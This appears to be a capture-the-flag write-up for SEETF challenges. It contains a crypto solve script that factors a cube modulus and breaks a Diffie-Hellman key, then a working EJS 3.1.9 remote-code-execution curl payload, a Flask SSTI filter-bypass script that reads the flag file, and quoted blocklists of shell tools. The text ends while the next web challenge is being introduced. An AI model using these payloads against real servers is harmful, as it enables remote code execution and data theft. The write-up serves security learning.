n = 1161015060421173249378489750696141214060303995923395409949869627290702414711037093526198110777404654144671511905235970901959421941338918435310121680847960495861908297742489794351582662630349642895448557106366299469185588064602696326307097833183222618147069201840931225638628664922527925446087898861911362296363707119536526988582293048832383727953537307881230552636876712648271763176414090693303330350561279137776236795557842517619318238674985177929118712632535276039722205485150858981762083451832198822805690978929644453571222056709020149454001970560788598661970600271777421115525813743829030780059906217282681595452585004568419042410526300322447735538760602735954395278435630672731534059367618977970735807007280799837797901568012970516722520855615007870137859951477843419061096544616574048523021228941390127574301951810764886209442755752935524998421986069973124626502475162497047801043794416002937577783146899612599092388787
A = 876856141867292541860323607264082069255499862749334652735605729433263443804539762724150146934351375350393080114923847779749893293139584686005392355141769986430382993358683972707818914126482354483753880940178023315634960922958253129075068286464920817560904484085316514309721680971508734869398801188634461566010739991385436551918949592308754421274535616460564680136888906568520377323715782357509089190820453332054156572172466552802449761288220780274972832498692580255837884665986978378035841349843031182334647618147782842049846153066181892449539407745486014499636387858777511312613142984882310305184710764200146570459723866686802492176613030166678729173421755638026624369502464133911152877741923335829863164896950580382969467402969579748979746430740394953571425965962087121649198611419063708096301382847206823372253864792103755888994838934565521982402277844450137390594607102522657031671082063652219166034186562490760814532579
B = 287632227917624654212614562649343874383417428057330805237209169637026908557410569116739444108514384266685475678850601667911684150076525797991252031688869217089950247006850937786118259851817500044754131047963987707992467875713170336353659270924179467464836139578541900688370920519460119004845929450828524305499363274758459994420143563155593544731412056092492994042903315707705208959629847419957728142635524372296868834143016326096908127353866551528921319266146109788458033229140227479625927790051152685157231719361353398932500869549791514313894503151218196435978062246049426212499132086244127866741759522252412600587230711377821184153990120408229678096104763349842116878130234588134513252819344719559051734230776027339643260314327324982833200026332745447375624996928647322777183407239934048172826864244183355762705665502558087550433846102991894817404579682993484842986669591555105822532717319110007844731813526601115030730216
ct = "fc8c67c8c451db0277fdc0b3ee6cd8e4d6584e00079a3326413450a1e816f4b463fa6e58148e25145cbdd0703847bc48"
hint = 27232338411805533611504752479750933666365962695083952636081656664814520651947
p = 8129350453106964681981850657424361197868719068307155378517865139012909625358514986412144556443475408498368894473527345313464525210359939656469319473379609
pq = iroot(n, 3)[0]


def dfs(spv, i):
    if i >= 256:
        yield Bin(spv, 256), Bin(Bin(spv).int ^ hint, 256)
    if i >= 256:
        return
    for b in (1, 0):
        spv[i] = b
        tsp = Bin(spv).int
        tsq = tsp ^ hint
        p = tsp**2
        q = tsq**2
        if 0 <= (pq - p * q) <= 2 ** (1024 - i + 1) and 0 <= (
            isqrt(pq) - tsp * tsq
        ) <= 2 ** (512 - i + 1):
            yield from dfs(spv[:], i + 1)


spv = [0] * 256
results = []
for spc, sqc in dfs(spv, 0):
    d = pq - spc.int**2 * sqc.int**2
    results.append((d, spc.int, sqc.int))
for i, (_, spci, sqci) in enumerate(sorted(results)):
    print((spci - (isqrt(pq) // sqci)).bit_length())


def copp_factor(sp, leak=6):
    for tb in range(1 << leak):
        print("copp", tb, int(time.time()))
        shift = 256 - leak
        P = Zmod(pq)["x"]
        x = P.gen()
        f = sp.int**2 + (tb << shift) + x
        X = 2 ** (256 - leak)
        beta = 0.499
        eps = 0.01
        # rs = f.small_roots(X=X, beta=beta, epsilon=eps)
        rs = small_roots(f, X=X, beta=beta, epsilon=eps)
        if len(rs):
            return sp.int**2 + (tb << shift) + int(rs[0])


for i, (_, spci, _) in enumerate(sorted(results)):
    print(spci)
    print(i, p := copp_factor(Bin(spci, 256)))
    if p:
        q = pq // p
        print(p, q)
        assert p * q == pq
        break

After factorizing, solve the DLP in $\mathbb{Z}/n^3\mathbb{Z}$ by splitting it into $\mathbb{Z}/p^3\mathbb{Z}$ and $\mathbb{Z}/q^3\mathbb{Z}$, solving each DLP, and combining with CRT.

In $\mathbb{Z}/p^3\mathbb{Z}$, similar to Paillier, use the binomial theorem or p-adic logarithm to find $x \mod{p^2}$. Combining both sides with CRT gives about 2048 bits of information. However, the private key generated with randbelow(3**1337) is slightly larger, as $1337\log_2(3) \approx 2120$.

To solve this, find small groups in $p-1, q-1$ using Pohlig-Hellman to solve the subgroup DLP. Combine all results with CRT to find the private key, then derive the shared key to decrypt the flag.

from Crypto.Cipher import AES
from hashlib import sha256
from Crypto.Util.Padding import unpad

n = 1161015060421173249378489750696141214060303995923395409949869627290702414711037093526198110777404654144671511905235970901959421941338918435310121680847960495861908297742489794351582662630349642895448557106366299469185588064602696326307097833183222618147069201840931225638628664922527925446087898861911362296363707119536526988582293048832383727953537307881230552636876712648271763176414090693303330350561279137776236795557842517619318238674985177929118712632535276039722205485150858981762083451832198822805690978929644453571222056709020149454001970560788598661970600271777421115525813743829030780059906217282681595452585004568419042410526300322447735538760602735954395278435630672731534059367618977970735807007280799837797901568012970516722520855615007870137859951477843419061096544616574048523021228941390127574301951810764886209442755752935524998421986069973124626502475162497047801043794416002937577783146899612599092388787
A = 876856141867292541860323607264082069255499862749334652735605729433263443804539762724150146934351375350393080114923847779749893293139584686005392355141769986430382993358683972707818914126482354483753880940178023315634960922958253129075068286464920817560904484085316514309721680971508734869398801188634461566010739991385436551918949592308754421274535616460564680136888906568520377323715782357509089190820453332054156572172466552802449761288220780274972832498692580255837884665986978378035841349843031182334647618147782842049846153066181892449539407745486014499636387858777511312613142984882310305184710764200146570459723866686802492176613030166678729173421755638026624369502464133911152877741923335829863164896950580382969467402969579748979746430740394953571425965962087121649198611419063708096301382847206823372253864792103755888994838934565521982402277844450137390594607102522657031671082063652219166034186562490760814532579
B = 287632227917624654212614562649343874383417428057330805237209169637026908557410569116739444108514384266685475678850601667911684150076525797991252031688869217089950247006850937786118259851817500044754131047963987707992467875713170336353659270924179467464836139578541900688370920519460119004845929450828524305499363274758459994420143563155593544731412056092492994042903315707705208959629847419957728142635524372296868834143016326096908127353866551528921319266146109788458033229140227479625927790051152685157231719361353398932500869549791514313894503151218196435978062246049426212499132086244127866741759522252412600587230711377821184153990120408229678096104763349842116878130234588134513252819344719559051734230776027339643260314327324982833200026332745447375624996928647322777183407239934048172826864244183355762705665502558087550433846102991894817404579682993484842986669591555105822532717319110007844731813526601115030730216
ct = "fc8c67c8c451db0277fdc0b3ee6cd8e4d6584e00079a3326413450a1e816f4b463fa6e58148e25145cbdd0703847bc48"
hint = 27232338411805533611504752479750933666365962695083952636081656664814520651947
pq = n.nth_root(3)
p = 8129350453106964681981850657424361197868719068307155378517865139012909625358514986412144556443475408498368894473527345313464525210359939656469319473379609
q = pq // p
assert p * q == pq

Rp = Zp(p, 3)
a_mod_p2 = (Rp(A).log() / Rp(3).log()).lift()
print(a_mod_p2)
g = pow(3, p - 1, p**3)
y = pow(A, p - 1, p**3)
print(pow(g, a_mod_p2, p**3) == y)
print(pow(3, a_mod_p2, p**3) == A % (p**3))
Rq = Zq(q, 3)
a_mod_q2 = (Rq(A).log() / Rq(3).log()).lift()
print(a_mod_q2)
g = pow(3, q - 1, q**3)
y = pow(A, q - 1, q**3)
print(pow(g, a_mod_q2, q**3) == y)
print(pow(3, a_mod_q2, q**3) == A % (q**3))

cf_p = 1959820416307046535223558836872409986635598251161899159264123569744487202217621311192551314468443514345911835240205470995427509406607734841
cf_q = 29959119000199690269712965540702271390974156502261317099624887976435590583657556550911711352412637519078021289573136033385314147803936469913672429
assert (p - 1) % cf_p == 0
assert (q - 1) % cf_q == 0

odp = (p - 1) // cf_p
print(odp, odp.bit_length())
R = Zmod(p**3)
a_mod_odp = discrete_log(R(A) ** (p**2 * cf_p), R(3) ** (p**2 * cf_p), ord=odp)

odq = (q - 1) // cf_q
print(odq, odq.bit_length())
R = Zmod(q**3)
a_mod_odq = discrete_log(R(A) ** (q**2 * cf_q), R(3) ** (q**2 * cf_q), ord=odq)

a = crt([a_mod_p2, a_mod_q2, a_mod_odp, a_mod_odq], [p**2, q**2, odp, odq])
print(a.bit_length())
print(pow(3, a, p**3) == A % (p**3))

shared = pow(B, a, n)
key = sha256(str(shared).encode()).digest()
flag = unpad(AES.new(key, AES.MODE_ECB).decrypt(bytes.fromhex(ct)), 16)
print(flag)
# SEE{Cryptic_clue:_Bit_of_RSA_mixed_with_DH}

Web#

Express JavaScript Security#

Another ejs 3.1.9...

const express = require('express');
const ejs = require('ejs');

const app = express();

app.set('view engine', 'ejs');

const BLACKLIST = [
    "outputFunctionName",
    "escapeFunction",
    "localsName",
    "destructuredLocals"
]

app.get('/', (req, res) => {
    return res.render('index');
});

app.get('/greet', (req, res) => {
    
    const data = JSON.stringify(req.query);

    if (BLACKLIST.find((item) => data.includes(item))) {
        return res.status(400).send('Can you not?');
    }

    return res.render('greet', {
        ...JSON.parse(data),
        cache: false
    });
});

app.listen(3000, () => {
    console.log('Server listening on port 3000')
})

Similar to this writeup, but this time escapeFunction is blocked. However, after tracing into Express, I found that escape can be used as an alias for escapeFunction, bypassing the restriction.

curl 'http://ejs.web.seetf.sg:1337/greet' -G --data-urlencode 'settings[view%20options][debug]=true' --data-urlencode 'settings[view%20options][client]=true' --data-urlencode 'settings[view%20options][escape]=(() => {});return process.mainModule.require("child_process").execSync("/readflag").toString()'
# SEE{0h_n0_h0w_d1d_y0u_ch4ng3_my_0pt10ns}

file uploader 1#

SSTI filter bypass challenge :(

The core part is here, where file.filename is controllable, but " inside it will be encoded:

        template = f"""
            {file.filename} is not valid because it is too big or has the wrong extension
        """
        l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\'] 

        l2 = ['aa-exec', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt', 'apt-get', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'atobm', 'awk', 'aws', 'base', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'comm ', 'composer', 'cowsay', 'cowthink', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'debug', 'debugfs', 'dialog', 'diff', 'dig', 'dir', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'echo', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'file', 'find', 'finger', 'fish', 'flock', 'fmt', 'fold', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'ifconfig', 'iftop', 'install', 'ionice', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk', 'ld.so', 'ldconfig', 'less', 'less ', 'lftp', 'loginctl', 'logsave', 'look', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-download', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mysql', 'nano', 'nasm', 'nawk', 'ncftp', 'neofetch', 'netstat', 'nft', 'nice', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'nslookup', 'octave', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'php', 'pic', 'pico', 'pidstat', 'ping', 'pip', 'pkexec', 'pkg', 'posh', 'pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'rake', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'route', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ssh', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'touch', 'traceroute', 'troff', 'truncate', 'tshark', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper']
        

        for i in l1:
            if i in template.lower():
                print(template, i, file=sys.stderr)
                template = "nice try 1"
                break
        matches = re.findall(r"['\"](.*?)['\"]", template)
        for match in matches:
            print(match, file=sys.stderr)
            if not re.match(r'^[a-zA-Z0-9 \/\.\-]+$', match):
                template = "nice try 2"
                break
            for i in l2:
                if i in match.lower():
                    print(i, file=sys.stderr)
                    template = "nice try 3"
                    break
        template += '{{ x }}'
        return render_template_string(template)

I used session.update(_=1); session.keys() to create the _ string, then used str.__class__.__add__ to concatenate, and finally chained it with g.pop to get the result:

import requests
from base64 import b64decode
import json


def decode_sess(sess):
    t = sess.split(".")[0]
    t += "=" * (-len(t) % 4)
    print(b64decode(t))
    return json.loads(b64decode(t).decode())


# host = "http://localhost:29384"
host = "http://fu1.web.seetf.sg:1337"

sess = requests.Session()
sess.get(f"{host}/")
FILENAME = """{% set a=session.update(_=1) %}
{% set x=session.keys().__iter__() %}
{% set _=x.__next__() %}
{% set _=x.__next__() %}
{% set ud=x.__next__() %}
{% set add='a'.__class__.__add__ %}
{% set ud2=add(ud,ud) %}
{% set x=g.pop[add(add(ud2,'glob'),add('als',ud2))][add(add(ud2,'builtins'),ud2)].open('/home/userr/app/flag.txt')[add('re','ad')]()[:50] %}
{% set x=session.update(uuid=None,x=x) %}.asd""".replace(
    "\n", ""
)
CONTENT = "PEKO"
r = sess.post(f"{host}/upload", files={"file": (FILENAME, CONTENT)})
print(r.text)
print(decode_sess(sess.cookies["session"]))
# SEE{y0U_6yPa55Ed_FuNny_55t1_f1lTer5}

Star Cereal Episode 4: A New Pigeon#

The key part is here:

const serialize = require('serialize-javascript');  // 6.0.1
const xssFilters = require('xss-filters')  // 1.2.7

// omitted...

app.all('/', (req, res) => {

    const nonce = crypto.randomBytes(32).toString('hex');

    res.set("Content-Security-Policy", "default-src 'self' www.youtube.com 'nonce-" + nonce + "'");

    let scriptElement = `<script nonce="${nonce}">`;

    if (req.session.username && req.session.cereal) {
        scriptElement += "window.__SESSION__ ="
        try {
            scriptElement += serialize({
                username: xssFilters.inDoubleQuotedAttr(req.session.username),
                cereal: new URL(xssFilters.inDoubleQuotedAttr(req.session.cereal))
            })
        }
        catch (e) {
            req.session.username = null;
            req.session.cereal = null;
            scriptElement += serialize({})
        }
    }

    scriptElement += "</script>";

    const html = fs.readFileSync('index.html', 'utf8').replace('<!-- SCRIPT -->', scriptElement);
    res.send(html);
});

app.all('/set', (req, res) => {
    req.session.username = req.param('username');
    req.session.cereal = req.param('cereal');
    res.redirect('/');
});